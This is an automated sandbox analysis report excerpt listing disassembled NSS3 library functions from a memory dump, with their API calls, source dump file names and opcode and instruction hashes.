PR_LogPrint.NSS3( ppFunctionList = 0x%p,?), ref: 6CC22551

Part of subcall function 6CD009D0: PR_Now.NSS3 ref: 6CD00A22
Part of subcall function 6CD009D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CD00A35
Part of subcall function 6CD009D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CD00A66
Part of subcall function 6CD009D0: PR_GetCurrentThread.NSS3 ref: 6CD00A70
Part of subcall function 6CD009D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CD00A9D
Part of subcall function 6CD009D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CD00AC8
Part of subcall function 6CD009D0: PR_vsmprintf.NSS3(?,?), ref: 6CD00AE8
Part of subcall function 6CD009D0: EnterCriticalSection.KERNEL32(?), ref: 6CD00B19
Part of subcall function 6CD009D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CD00B48
Part of subcall function 6CD009D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CD00C76
Part of subcall function 6CD009D0: PR_LogFlush.NSS3 ref: 6CD00C7E

Strings

C_GetFunctionList, xrefs: 6CC22533
ppFunctionList = 0x%p, xrefs: 6CC2254C

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: PrintR_snprintf$CriticalCurrentDebugEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime
String ID: ppFunctionList = 0x%p$C_GetFunctionList
API String ID: 1907330108-525396629
Opcode ID: acafd0ec2b36655a5c2bb70df538618ab9da64a4639f336c7f2ff0acdff62d59
Instruction ID: abb6bb29f6c149069f1eeecda256ab5c2a96729fd5e0d230c76b24a99612b50d
Opcode Fuzzy Hash: acafd0ec2b36655a5c2bb70df538618ab9da64a4639f336c7f2ff0acdff62d59
Instruction Fuzzy Hash: 1401B9757011809FEB109B58D85CB557779E78636DF448036E60593610EB38A44DCBD1

Function 6CD08770 Relevance: 6.4, APIs: 5, Instructions: 159stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6CD08756,?,?,?), ref: 6CD08797
memcpy.VCRUNTIME140(00000000,6CD08756,?,?,6CD08756,?,?,?), ref: 6CD087C1
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,6CD08756,?,?,?), ref: 6CD0884F
memcpy.VCRUNTIME140(?,?,00000001,?,?,?,?,?,6CD08756,?,?,?), ref: 6CD08891
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,6CD08756,?,?,?), ref: 6CD088B4

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: strlen$memcpy
String ID:
API String ID: 3396830738-0
Opcode ID: 7af269252228e689ef3604f07cab55535a7c2b1a1a883aab6ae4c60322124f11
Instruction ID: b13dd0ebec5f2f9d40003bc64e463e733807ef08fe1f992fcc72fe6cd28413bb
Opcode Fuzzy Hash: 7af269252228e689ef3604f07cab55535a7c2b1a1a883aab6ae4c60322124f11
Instruction Fuzzy Hash: C5514F75B012068FDB08CFADD89066AB7A5FF88314F25812ED959E7750DB71AD018B90

Function 6CC30630 Relevance: 6.1, APIs: 4, Instructions: 147memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC31940: TlsGetValue.KERNEL32(00000000,00000000,?,00000001,?,6CC3563C,?,?,00000000,00000001,00000002,?,?,?,?,?), ref: 6CC3195C
Part of subcall function 6CC31940: EnterCriticalSection.KERNEL32(?,?,6CC3563C,?,?,00000000,00000001,00000002,?,?,?,?,?,6CC0EAC5,00000001), ref: 6CC31970
Part of subcall function 6CC31940: PR_Unlock.NSS3(?,?,00000000,00000001,00000002,?,?,?,?,?,6CC0EAC5,00000001,?,6CC0CE9B,00000001,6CC0EAC5), ref: 6CC319A0

PORT_Alloc_Util.NSS3(00000000,?,?,?,?,?,?,00000000,?,00000009), ref: 6CC30678

Part of subcall function 6CC50BE0: malloc.MOZGLUE(6CC48D2D,?,00000000,?), ref: 6CC50BF8
Part of subcall function 6CC50BE0: TlsGetValue.KERNEL32(6CC48D2D,?,00000000,?), ref: 6CC50C15

PR_SetError.NSS3(00000000,00000000,?,?,?,?,?,?,?,00000000,?,00000009), ref: 6CC306E6
PR_SetError.NSS3(FFFFE002,00000000), ref: 6CC30770

Part of subcall function 6CC31EA0: PR_SetError.NSS3(FFFFE002,00000000,?,00000001,?,?,6CC16295,?,00000000,00000000,00000001,6CC32653,?), ref: 6CC31ECB

free.MOZGLUE(?), ref: 6CC30787

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Error$Value$Alloc_CriticalEnterSectionUnlockUtilfreemalloc
String ID:
API String ID: 1159529522-0
Opcode ID: 8cd4218e2fd2b2c335f755dde2b6a216356e8a029def4fdae5f49fd8bae80e3e
Instruction ID: b4e36885964c3531df347a2850e77129dba8b540c9d4524455d2e94c3919473d
Opcode Fuzzy Hash: 8cd4218e2fd2b2c335f755dde2b6a216356e8a029def4fdae5f49fd8bae80e3e
Instruction Fuzzy Hash: 604114B2D002256BDB00DE69AC85EAF3B78AF86358F140528ED1DA7741FA31D914CBE1

Function 6CD08530 Relevance: 6.1, APIs: 4, Instructions: 127threadnetworkCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CD514E4,6CCBCC70), ref: 6CD08569
gethostbyaddr.WSOCK32(?,00000004,00000002), ref: 6CD085AD
GetLastError.KERNEL32(?,00000004,00000002), ref: 6CD085B6
PR_GetCurrentThread.NSS3(?,00000004,00000002), ref: 6CD085C6

Part of subcall function 6CBE0F00: PR_GetPageSize.NSS3(6CBE0936,FFFFE8AE,?,6CB716B7,00000000,?,6CBE0936,00000000,?,6CB7204A), ref: 6CBE0F1B
Part of subcall function 6CBE0F00: PR_NewLogModule.NSS3(clock,6CBE0936,FFFFE8AE,?,6CB716B7,00000000,?,6CBE0936,00000000,?,6CB7204A), ref: 6CBE0F25

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: CallCurrentErrorLastModuleOncePageSizeThreadgethostbyaddr
String ID:
API String ID: 4254312643-0
Opcode ID: c9540bc6e74ba699e3b10a6e86f9b754099a9f6c5276bc4ea49463a00ef7a9af
Instruction ID: 248586df1e88a45b5db3f803a2a88a08ae9d4b1bd6959f86ac77d4235de64f3c
Opcode Fuzzy Hash: c9540bc6e74ba699e3b10a6e86f9b754099a9f6c5276bc4ea49463a00ef7a9af
Instruction Fuzzy Hash: 3F41C0B0B08346EBEB148F2ACC48355B7B4EB4532CF49472BC95643EE2D77499948BD1

Function 6CCB4FF0 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000,00000000,?,?,00000001,?,6CB985D2,00000000,?,?), ref: 6CCB4FFD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CCB500C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CCB50C8
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CCB50D6

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction ID: d79a7689bb6ef117fbbdd445459f6b8114cc01a0dfd28082883b917c17e44d21
Opcode Fuzzy Hash: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction Fuzzy Hash: DB417FB2A002118FCB18CF58DCD179AB7E1BF4831871D4669D84ADBB02F775E891CB91

Function 6CC40420 Relevance: 6.1, APIs: 4, Instructions: 117memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000000,?,6CC2C97F,?,?,?), ref: 6CC404BF
TlsGetValue.KERNEL32(00000000,?,6CC2C97F,?,?,?), ref: 6CC404F4
EnterCriticalSection.KERNEL32(?,?,?,6CC2C97F,?,?,?), ref: 6CC4050D
PR_Unlock.NSS3(?,?,?,?,6CC2C97F,?,?,?), ref: 6CC40556

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Alloc_CriticalEnterSectionUnlockUtilValue
String ID:
API String ID: 349578545-0
Opcode ID: 43af2ea30839c1612a6585c9fdc41945adb88a10e832a9d62d3ac8081c685a42
Instruction ID: c061b1270a7650aa9ea56e25c7ef60081eb6dd69704e44a87a60cc8a37559750
Opcode Fuzzy Hash: 43af2ea30839c1612a6585c9fdc41945adb88a10e832a9d62d3ac8081c685a42
Instruction Fuzzy Hash: 2B4169B0A41642CFDB04DF29C580669BBF4FF98318F14C56DD8998BB01EB30E891CB80

Function 6CC6A7B0 Relevance: 6.1, APIs: 4, Instructions: 116COMMON

Download Yara Rule

APIs

Part of subcall function 6CC7EDB0: PR_SetError.NSS3(FFFFE013,00000000,00000000,00000000,6CC67FFA,?,6CC69767,?,8B7874C0,0000A48E), ref: 6CC7EDD4

PK11_DigestOp.NSS3(?,00000000,?,?,?,?,?,?,00000004,?,6CC91882,?,000000FE,?,?), ref: 6CC6A8E3

Part of subcall function 6CC1DEF0: TlsGetValue.KERNEL32 ref: 6CC1DF37
Part of subcall function 6CC1DEF0: EnterCriticalSection.KERNEL32(?), ref: 6CC1DF4B
Part of subcall function 6CC1DEF0: PR_SetError.NSS3(00000000,00000000), ref: 6CC1E02B
Part of subcall function 6CC1DEF0: PR_Unlock.NSS3(?), ref: 6CC1E07E

PK11_DigestOp.NSS3(?,00000000,?), ref: 6CC6A871

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: DigestErrorK11_$CriticalEnterSectionUnlockValue
String ID:
API String ID: 1327502718-0
Opcode ID: 9b5e1941bac9da1fa562a5418abb717427f3f1438e8bae1560b412fe3ffc681a
Instruction ID: bd1d2c83128fa3c6c61eeb6afe82ad25495b5dc02a5eb1071d2deb0d2c7eef3b
Opcode Fuzzy Hash: 9b5e1941bac9da1fa562a5418abb717427f3f1438e8bae1560b412fe3ffc681a
Instruction Fuzzy Hash: 0031EC72A04225ABEB005A269DC0BEA73A6EBD9208F188234ED1447F41F7359C27E7D1

Function 6CBF6C50 Relevance: 6.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CBF6C8D
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CBF6CA9
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6CBF6CC0
SEC_ASN1EncodeItem_Util.NSS3(?,00000000,?,6CD18FE0), ref: 6CBF6CFE

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Util$Alloc_Arena$EncodeItem_memset
String ID:
API String ID: 2370200771-0
Opcode ID: a9a3938b1719d4b9ca5ced59300364cc8d3c0177763918c7ffe0efba9f9ec743
Instruction ID: f128fb5abf1b79f2cbe20fbf0467fe5ed195894237dbc428cafba5d7c2856227
Opcode Fuzzy Hash: a9a3938b1719d4b9ca5ced59300364cc8d3c0177763918c7ffe0efba9f9ec743
Instruction Fuzzy Hash: AE31C1B5A002169FEB08CF65C891ABFBBF5EF85248B10442DDD15D7700FB31991ACBA0

Function 6CD04F00 Relevance: 6.1, APIs: 4, Instructions: 101fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000003,00000000,?,?,00000000), ref: 6CD04F5D
free.MOZGLUE(?), ref: 6CD04F74
free.MOZGLUE(?), ref: 6CD04F82
GetLastError.KERNEL32 ref: 6CD04F90

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: free$CreateErrorFileLast
String ID:
API String ID: 17951984-0
Opcode ID: 524d7fada2dd8874356256c16c7bd6977878bb592a937021da8ea046ecb7eee9
Instruction ID: 6ce79389c0d2f7c505cfadecdd95675ba494ddaa58d8cc6f7f6ae3be98832674
Opcode Fuzzy Hash: 524d7fada2dd8874356256c16c7bd6977878bb592a937021da8ea046ecb7eee9
Instruction Fuzzy Hash: BD3107B5B002099BEB01DF6DDC81FDAB7F8EF85358F044229ED15A7791DB34E90486A1

Function 6CC66DE0 Relevance: 6.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

PR_MillisecondsToInterval.NSS3(?), ref: 6CC66E36
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC66E57

Part of subcall function 6CC9C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC9C2BF

PR_MillisecondsToInterval.NSS3(?), ref: 6CC66E7D
PR_MillisecondsToInterval.NSS3(?), ref: 6CC66EAA

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: IntervalMilliseconds$ErrorValue
String ID:
API String ID: 3163584228-0
Opcode ID: 00eb1753cf43036cef42dc78c0b741d32423383970a39e2f4a7c12cac17a6d89
Instruction ID: 952672f42272a410c5f42a53466691e7ed822aaf7d3ea608b6fedce902e6b8dc
Opcode Fuzzy Hash: 00eb1753cf43036cef42dc78c0b741d32423383970a39e2f4a7c12cac17a6d89
Instruction Fuzzy Hash: D531C171610D12EEDB141F36DE44396B7A4AB1131EF10063DD49AD6E80FB317858CB81

Function 6CC58530 Relevance: 6.1, APIs: 4, Instructions: 86memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,?,6CC572EC), ref: 6CC5855A

Part of subcall function 6CC507B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CBF8298,?,?,?,6CBEFCE5,?), ref: 6CC507BF
Part of subcall function 6CC507B0: PL_HashTableLookup.NSS3(?,?), ref: 6CC507E6
Part of subcall function 6CC507B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CC5081B
Part of subcall function 6CC507B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CC50825

PORT_ArenaGrow_Util.NSS3(?,00000000,?,00000001,?,?,6CC572EC), ref: 6CC5859E
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,6CC572EC), ref: 6CC585B8
PR_SetError.NSS3(FFFFE005,00000000,?,6CC572EC), ref: 6CC58600

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: ErrorUtil$ArenaHashLookupTable$Alloc_ConstFindGrow_
String ID:
API String ID: 1727503455-0
Opcode ID: c3976de85504193724a61ee596be12a747b852d478c2b9224f3d669c07c31240
Instruction ID: f705f6639dde0e44eeb421f2cf710bbd84e2c60fffdb3ed9daeae2a2947b6898
Opcode Fuzzy Hash: c3976de85504193724a61ee596be12a747b852d478c2b9224f3d669c07c31240
Instruction Fuzzy Hash: 0F212472A502018BF7008F2EDC40F2B76A9AF8131CFE5412AE865C7784FB31D8368799

Function 6CBF87D0 Relevance: 6.1, APIs: 4, Instructions: 86memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,6CBEEF74,00000000), ref: 6CBF87E8

Part of subcall function 6CC50FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CBF87ED,00000800,6CBEEF74,00000000), ref: 6CC51000
Part of subcall function 6CC50FF0: PR_NewLock.NSS3(?,00000800,6CBEEF74,00000000), ref: 6CC51016
Part of subcall function 6CC50FF0: PL_InitArenaPool.NSS3(00000000,security,6CBF87ED,00000008,?,00000800,6CBEEF74,00000000), ref: 6CC5102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000008,?,6CBEEF74,00000000), ref: 6CBF87FD

Part of subcall function 6CC510C0: TlsGetValue.KERNEL32(?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC510F3
Part of subcall function 6CC510C0: EnterCriticalSection.KERNEL32(?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC5110C
Part of subcall function 6CC510C0: PL_ArenaAllocate.NSS3(?,?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC51141
Part of subcall function 6CC510C0: PR_Unlock.NSS3(?,?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC51182
Part of subcall function 6CC510C0: TlsGetValue.KERNEL32(?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC5119C

PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6CBF884C
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CBF889F

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Arena_Value$AllocateCriticalEnterFreeInitLockPoolSectionUnlockcalloc
String ID:
API String ID: 59923426-0
Opcode ID: c953736747ff0655eefdff799133087f44b2e2d5a6093890f1bad780ee289ea3
Instruction ID: b15f805375fa9d9e408c3119c011ab7e8f6bbb9f1523f4e0a80ace668d390e60
Opcode Fuzzy Hash: c953736747ff0655eefdff799133087f44b2e2d5a6093890f1bad780ee289ea3
Instruction Fuzzy Hash: DC315E71A012499FEB00CFA5DC44BAAB7E8EF42349F14403AD929DB750F731D619CBA2

Function 6CBF6420 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000,00000001,00000000,00000000,?,?,6CBF5DEF,?,?,?), ref: 6CBF6456
CERT_NewTempCertificate.NSS3(?,?,00000000,00000000,00000001,00000001,00000000,00000000,?,?,6CBF5DEF,?,?,?), ref: 6CBF6476
CERT_DestroyCertificate.NSS3(00000000,?,?,?,?,?,?,6CBF5DEF,?,?,?), ref: 6CBF64A0
PR_SetError.NSS3(FFFFE020,00000000,00000001,00000000,00000000,?,?,6CBF5DEF,?,?,?), ref: 6CBF64C2

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: CertificateError$DestroyTemp
String ID:
API String ID: 3886907618-0
Opcode ID: 69f7a8026667b2e723c64be03bd8d7d7b0b57e47e95c4ffce8af3ad3ba9e6179
Instruction ID: b4c6fb30d24d827693dddcceb18a72ecf1a8b4703df21df123aa049f37e74683
Opcode Fuzzy Hash: 69f7a8026667b2e723c64be03bd8d7d7b0b57e47e95c4ffce8af3ad3ba9e6179
Instruction Fuzzy Hash: DB21E7B1A003416BEB20AE28DC05B6776E8EB40308F144538FD69C7B81F7B2D95DC7A2

Function 6CC34FB0 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6CC3B60F,00000000), ref: 6CC35003
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6CC3B60F,00000000), ref: 6CC3501C
PR_Unlock.NSS3(?,?,?,00000000,00000000,00000000,?,6CC3B60F,00000000), ref: 6CC3504B
free.MOZGLUE(?,00000000,00000000,00000000,?,6CC3B60F,00000000), ref: 6CC35064

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
